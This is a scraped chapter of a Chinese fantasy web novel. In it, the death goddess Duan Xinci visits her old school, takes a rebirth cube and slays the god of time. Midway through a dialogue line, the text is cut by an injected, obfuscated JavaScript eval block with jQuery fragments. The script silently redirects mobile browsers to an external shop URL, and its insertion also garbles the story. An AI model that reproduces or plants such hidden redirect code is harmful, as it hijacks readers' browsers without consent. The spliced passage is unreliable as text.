文趣网 > 都市小说 > 死亡神座 > 72.用血洗清罪与恶
    时间决定不再站在死亡身旁自取其辱。

    祂现在憋屈得很。

    段心慈也没拦着绿赛图斯享受祂的末日时光。

    走在街上,身处这由自己亲手力挽狂澜拯救,如今欣欣向荣的世界……曾经的三代会长多少感到欣慰。

    对时间主神来说,遗憾的是…凡时间流逝的地方总会被祂感知。

    所以祂不得不‘注视’死亡之神光明正大地在这片祂本以为能将对方置之死地的宇宙里到处乱逛。

    对此时间之灵也格外萎靡不振。

    祂们只好看着段心慈故地重游,甚至有闲心回到她第一世的学校——

    星海阁楼……校长室?

    校长扶了扶自己脸上仅起到装饰作用的老花镜,苍老的目光落在眼前身姿挺拔的青年身上:“……呃,心慈啊。”

    “犯啥事儿了?”

    无怪她开口就是这句话,只能说段心慈在校期间就和安分这两个字沾不上边。

    每次见老校长就是这句话,段心慈都听厌倦了:‘我犯事儿不是很正常……’

    ‘咳,不对。’

    青年单手抚胸,微微欠身:“向您问安。”

    “别问了,死亡之神的问安……”

    手里织围巾的节奏被打乱,校长索性开始乱织一通:“……你是慊我活久了。”

    “说吧,回来找我做什么?”

    段心慈在心底斟酌一番后开口:“您也知道,星海之外亦有星海。”

    她神情终是不复方才散漫。

    闻言,校长织毛衣的动作停下,深深望着这个从星海阁楼走出去,如今身负三重神座的孩子。

    “您也知道和平不是一厢情愿的事。”

    长发青年单膝跪地,看向眼前苍老的灵魂:“欲要和平,必先备战。”1

    老校长目光顿了顿:“…你先起来。”

    ‘备战就备战,咽什么口水……别以为我看不出来你很馋战争。’

    维持着原本的姿势没动。段心慈抬起头望着眼前星海的灵魂,说:“我可以将战争神座无条件赠予学院。”

    她曾在这片废墟与璀璨并存的宇宙里诞生,如今要为她的养子求得生机。

    “请给予我一次重生的机会。”

    说完这句话,段心慈立刻站起身。

    再跪下去多一秒就不是请求,而是无礼与压迫。

    老校长眼神复杂起来:“……不是给祢自己用吧?”

    ‘死亡之神要什么重生的机会哦。’

    “罢了罢了。自己去拿,谁要你的神座。”

    她摆摆满是苍老褶子的手:“就算你作为优等毕业生的礼物。”

    因为战争辍学的孩子……

    当年的烈星已经因为她拒绝插手人族之事同自己离心,离家出走至今未能回来。

    如今星海不想再因为力所能及的事情和烈星的孩子闹得不愉快。

    重生而已。

    她作为重生之神……虽然即将从神座上退休,却不至于连这都付出不了。

    星海看见自己面前的段心慈情绪波动明快一瞬。

    其实在旁人看来青年仍是那副阴郁的模样,但老校长就是看得出。

    重生之神悄悄松了口气:‘好在,这一步走对了。’

    ‘所以我的烈星啊……什么时候回家呢?’

    ‘祢的孩子都成为死亡之神了……’

    织围巾的手有些颤抖……校长闭上眼睛,苍老的眼角划过一行泪水。

    段心慈见此默默行了一礼,悄无声息地退出办公室,留给星海独处的空间。

    青年来时也曾想过…若星海不愿……

    那她会间隔两个世界,再次将世界重启到艾里门·歌德尚未重启前。至于代价,她不在乎。

    ‘我的错误,不需要、也绝不可以让我的孩子来承担。’

    *

    五分钟后。

    看着在重生盒堆里挑挑拣拣的段心慈……

    时间之神彻底麻木:“我说真的,祢们这个世界……很奇怪。”

    感觉像变态扎堆。

    而段心慈无疑是变态中的翘楚、新星。

    死亡之神不搭理祂,只忙着挑选自己想要的结果。

    瞥见祂选择的重生之盒,时间之灵打了个冷颤。

    不知为何,即便是时间之灵这样不通灵性的存在……都认为这结果一定不会是艾里门·歌德喜欢的。

    绿赛图斯也看见段心慈最后选中的结局,那是块三阶魔方——

    “……死亡,祢确定?”

    ‘艾里门·歌德真是倒了八辈子的霉,再倒欠八辈子的好运才能碰上这疯子当养母。’

    将选中的重生魔方妥善收起后,段心慈悄无声息地离开。

    临行前祂将胜利神座从灵魂中剥离,放在老校长推开门就能看到的地方。

    青年从来不是因为胜利神座而拥有胜利,而是在坐拥无数次胜利之后被胜利神座找上。

    现在,段心慈只希望这对自己来说更像吉祥物的真理……能够保全她的世界平安无虞。

    至于战争神座……

    从被校长明言拒绝的那一刻起,段心慈就知道这份真理并不适合祂的世界。

    绿赛图斯从来没见过有谁剥离神座像这样毫不犹豫的:“……奢侈。”

    直至现在祂仍不明白,为什么没有一个灵魂希望段心慈留下。

    不管是处于仇恨,还是希望段心慈留下来守护他们。

    明明,这片宇宙里喜欢她的人并不少。

    段心慈不知道时间在想什么,解决心头大患后,无论是灵魂还是躯壳都轻松许多。

    一对仿生情侣恰好从她身边路过。

    五代会长梅里尔·德伊莱推动仿生人平权法案后的第三年,仿生人之间恋爱或组建家庭已经成为普遍常态。

    穿牛仔裤的女生与身旁的男生手牵着手:“……你对…她回来这件事怎么看?”

    段心慈与这对情侣擦肩而过。

    时间之神却停下脚步。

    祂有预感自己或许会从这两位仿生人的口中听到自己一直想要的答案。

    “三代和四代大人和的事吗?”

    仿生人扒拉着女朋友的光纤发丝:“应该不会有谁想让她留下的。你放心吧。”

    女生被男生扒得不耐烦,从自己右手上挑出一节手指卸下丢给男友:“我没有不放心。”

    “毕竟,我们都爱她。”

    男生珍惜地摸了摸女朋友的手指,赞同地点点头:“至少在我们的宇宙里,没有谁不爱三代和四代会长。”

    她用血洗清战争的罪。

    人的罪,其它种族的罪。甚至包括星海的罪。

    那是和平黎明的前夕。

    至此它们,他们,祂们,拥有机会放下仇恨重新开始。

    换做其他会长大人,都不会受到如此全宇宙范围的偏爱。

    “爱,好沉重的词汇。”

    女生叹气:“爱是信任,是放手,给她选择,给她自由。”

    男生知道自己的女朋友要说什么,因此提前贴心地说:“我不爱你。”

    “……好巧,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541157|202926||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    我也是。”

    女生搓了搓男朋友同样是光纤的发丝:“我可不想放手。”

    ‘不想给你自由,更不想让你有什么见鬼的选择。’

    ‘至于信任……’

    仿生人颇为受用地想:‘信任要留给自己。’

    男生很是享受地也掰下一截指骨放进女友掌心:“这是我的定位器。”

    “那我就收下了。”

    女生拿走得毫不客气。

    他们肩并肩,十指紧扣向前走去。

    我们彼此坦诚,没有爱也没关系。

    当下已经足够幸福。

    旁观者-绿赛图斯:"???"

    旁观者-时间之灵:"???"

    ‘所以我弄错了?’

    ‘段心慈才是祂宇宙里最正常的那个???’

    绿赛图斯突然想到上一次宁愿把自己变成苹果……

    也要换段心慈离开代号十的#07秩序型星际世界的世界意识。

    “……其实,段心慈才是最正常的对吧?”

    祂语气艰难。

    时间之灵咽了咽不存在的唾沫:“…我觉得祢当初把魔盒扔进这个世界就是个错误。”

    ‘捅了变态窝了。’

    时间之神悔之晚矣,于是不悔:“我早就这么觉得。”

    “死在这位死亡手里,我不亏。”

    大概每一位被段心慈杀死的生命,到最后都会这样想——

    我们诞生,是为奔向既定的死亡。

    至此往后活着的每一天,我们都向死而生。

    无怨无悔。

    绿赛图斯的灵魂在这一刻彻底释然。

    不是作为时间之神,而是作为亿万生灵中的一员。

    而作为时间之神的祂,终于迟钝地看清段心慈对这片宇宙的特殊之处:

    这位死亡的灵魂底色嗜血嗜杀不假。

    但祂所处的时代驯服了这头凶兽。

    祂也顺理成章地成为那个时代里唯一的征服王者。

    时至今日,千年后仍旧无可替代。

    往后亦是如此。

    祂与这片星空彼此成就,斩不断的牵绊里说不清究竟是谁更胜一筹。

    ……

    *

    代号十·时间神殿

    三日时光说慢不慢,说快不快,却足够绿赛图斯感到煎熬。

    而今段心慈站在祂面前。

    色彩怪异的双眼中…浓郁的黑色无尽扩大,几乎要将灰色完全吞没。

    她抬起那把气息恐怖且熟悉,由奇点铸造的弯刀。

    见此,神座上,绿赛图斯悄悄松了一口气:‘还好,是刀。’

    不是什么怪诞邪异的缗礼现场祂已经知足。

    【猎途座】犹如一钩冷寂的血色弯月——

    它的速度无可匹敌,在死亡主神的意志下挟着赤裸杀欲直奔绿赛图斯眉心。

    时间主神如今已经彻底失去逃避死亡的决心。

    ‘咔——’

    金属表盘碎裂的声音格外清晰。

    时间之灵难以置信地望见:绿赛图斯身后浮出无尽时钟幻象,在这强悍一击下纷纷碎裂,化作璀璨金沙,细细流淌。

    ‘……岁若鎏金?’

    真理灵心下一惊。

    这一幕是时间主神作为真理神祇,可以选择的,在死亡降临前与神座相符,且最为盛大的身陨仪式——

    往往代表神祇对这一结局的认可……甚至带有某种浪漫主义,生命永存的意味。

    时间之灵失声质问:“祢竟甘心至此?!”